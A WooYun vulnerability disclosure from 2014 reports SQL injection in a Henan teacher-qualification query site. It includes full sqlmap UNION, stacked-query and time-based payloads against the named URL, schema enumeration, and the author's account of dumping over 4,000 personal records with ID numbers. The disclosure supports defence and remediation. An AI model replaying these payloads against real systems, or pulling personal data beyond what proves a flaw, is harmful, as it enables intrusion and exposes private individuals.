当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085930

漏洞标题:某省教师资格网存在SQL注入(可泄漏个人信息)

相关厂商:cncert国家互联网应急中心

漏洞作者: ki11y0u

提交时间:2014-12-05 12:46

修复时间:2015-01-19 12:48

公开时间:2015-01-19 12:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-05: 细节已通知厂商并且等待厂商处理中
2014-12-10: 厂商已经确认,细节仅向厂商公开
2014-12-20: 细节向核心白帽子及相关领域专家公开
2014-12-30: 细节向普通白帽子公开
2015-01-09: 细节向实习白帽子公开
2015-01-19: 细节向公众公开

简要描述:

基于时间的POST盲注,有点纠结。

详细说明:

网址:http://cx.jszg.haedu.cn/jszgcsjgcx.aspx
打开是这样的:

TEST.jpg


看了下IP,河南省教育厅的。测试看了一下,好多库,不乱搞了,来提交吧~~~
单位名称,查询处存在POST注入,可以造成个人敏感信息泄漏。忘了截图了,上日志:

sqlmap identified the following injection points with a total of 1228 HTTP(s) requests:
---
Place: POST
Parameter: HiddenFieldYear
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(102)+CHAR(120)+CHAR(113)+CHAR(100)+CHAR(85)+CHAR(120)+CHAR(107)+CHAR(109)+CHAR(86)+CHAR(82)+CHAR(75)+CHAR(74)+CHAR(122)+CHAR(113)+CHAR(104)+CHAR(103)+CHAR(115)+CHAR(113)-- &__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014; WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: HiddenFieldYear
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(102)+CHAR(120)+CHAR(113)+CHAR(100)+CHAR(85)+CHAR(120)+CHAR(107)+CHAR(109)+CHAR(86)+CHAR(82)+CHAR(75)+CHAR(74)+CHAR(122)+CHAR(113)+CHAR(104)+CHAR(103)+CHAR(115)+CHAR(113)-- &__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014; WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user: 'chaxun'
current database: 'chaxun_haedu'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---


总共35个数据库,如图;

TEST.jpg

chaxun_haedu库下,16个表:

TEST.jpg


字段:

Place: POST
Parameter: HiddenFieldYear
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(102)+CHAR(120)+CHAR(113)+CHAR(100)+CHAR(85)+CHAR(120)+CHAR(107)+CHAR(109)+CHAR(86)+CHAR(82)+CHAR(75)+CHAR(74)+CHAR(122)+CHAR(113)+CHAR(104)+CHAR(103)+CHAR(115)+CHAR(113)-- &__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014; WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: chaxun_haedu
Table: ceshijieguo2014
[6 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| ceshijieguo | nvarchar |
| danwei | nvarchar |
| id | int |
| sfzh | nvarchar |
| xingbie | nvarchar |
| xingming | nvarchar |
+-------------+----------+


dump看了一下,4K多条记录,一些个人敏感信息:

TEST.jpg


不知道其他库里有没有敏感信息,不乱搞了,我是好淫。希望尽快修复。

漏洞证明:

sqlmap identified the following injection points with a total of 1228 HTTP(s) requests:
---
Place: POST
Parameter: HiddenFieldYear
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(102)+CHAR(120)+CHAR(113)+CHAR(100)+CHAR(85)+CHAR(120)+CHAR(107)+CHAR(109)+CHAR(86)+CHAR(82)+CHAR(75)+CHAR(74)+CHAR(122)+CHAR(113)+CHAR(104)+CHAR(103)+CHAR(115)+CHAR(113)-- &__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014; WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKMTM0Nzc3ODY3OA9kFgICAw9kFgICAw8WAh4HVmlzaWJsZWhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQtpYnRuc3VibWl0MQULaWJ0bnN1Ym1pdDKH5sLCxm3w+mnKWXEpcInuO/LcdA==&xm=&dw=&danwei=a&ibtnsubmit2.x=54&ibtnsubmit2.y=17&HiddenFieldYear=2014 WAITFOR DELAY '0:0:5'--&__EVENTVALIDATION=/wEWBwKkn8n2CgLY77bvDAK8787vDAKaib+RBgLJk+H4DwL/n6H8CwLhvoKsCQIr9EcRMBFhIVq/5ciKWIJTYjiD
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---

修复方案:

过滤过滤。

版权声明:转载请注明来源 ki11y0u@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-12-10 09:17

厂商回复:

最新状态:

暂无


漏洞评价:

评论